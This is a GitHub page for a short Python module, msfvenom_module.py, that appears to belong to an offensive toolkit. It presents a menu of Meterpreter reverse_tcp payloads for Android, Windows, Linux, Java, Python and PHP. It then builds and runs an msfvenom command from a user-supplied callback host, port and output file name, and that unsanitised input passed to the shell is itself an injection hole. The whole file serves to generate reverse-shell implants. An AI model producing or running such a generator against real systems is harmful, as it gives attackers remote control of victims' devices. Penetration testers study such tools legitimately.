-
-
Notifications
You must be signed in to change notification settings - Fork 2
/
msfvenom_module.py
45 lines (38 loc) Β· 2.11 KB
/
msfvenom_module.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import subprocess
from colorama import Fore, Style
class MsfvenomModule:
def __init__(self):
self.payloads = {
"1": {"payload": "android/meterpreter/reverse_tcp", "description": "Android Payload"},
"2": {"payload": "windows/meterpreter/reverse_tcp", "description": "Windows Payload"},
"3": {"payload": "linux/x86/meterpreter/reverse_tcp", "description": "Linux x86 Payload"},
"4": {"payload": "linux/x64/meterpreter/reverse_tcp", "description": "Linux x64 Payload"},
"5": {"payload": "java/meterpreter/reverse_tcp", "description": "Java Payload"},
"6": {"payload": "python/meterpreter/reverse_tcp", "description": "Python Payload"},
"7": {"payload": "php/meterpreter/reverse_tcp", "description": "PHP Payload"}
}
def display_payload_options(self):
print(Fore.CYAN + "\n π§ͺ Payload Options π§ͺ" + Style.RESET_ALL)
for key, payload in self.payloads.items():
print(f"{Fore.MAGENTA}{key}. {payload['description']}{Style.RESET_ALL}")
def generate_payload(self, payload, lhost, lport, output_file):
command = f"msfvenom -p {payload} LHOST={lhost} LPORT={lport} -o {output_file}"
print(Fore.YELLOW + "π Generating payload..." + Style.RESET_ALL)
result = subprocess.getoutput(command)
print(result)
input("Press any key to return to the main menu...")
def run(self):
while True:
self.display_payload_options()
print(Fore.RED + "b. Go Back" + Style.RESET_ALL)
choice = input("π’ Select an option: ")
if choice == 'b':
break
if choice in self.payloads:
payload = self.payloads[choice]["payload"]
lhost = input("π Enter LHOST: ")
lport = input("πͺ Enter LPORT: ")
output_file = input("π Enter the output file name: ")
self.generate_payload(payload, lhost, lport, output_file)
else:
print(Fore.RED + "Invalid option." + Style.RESET_ALL)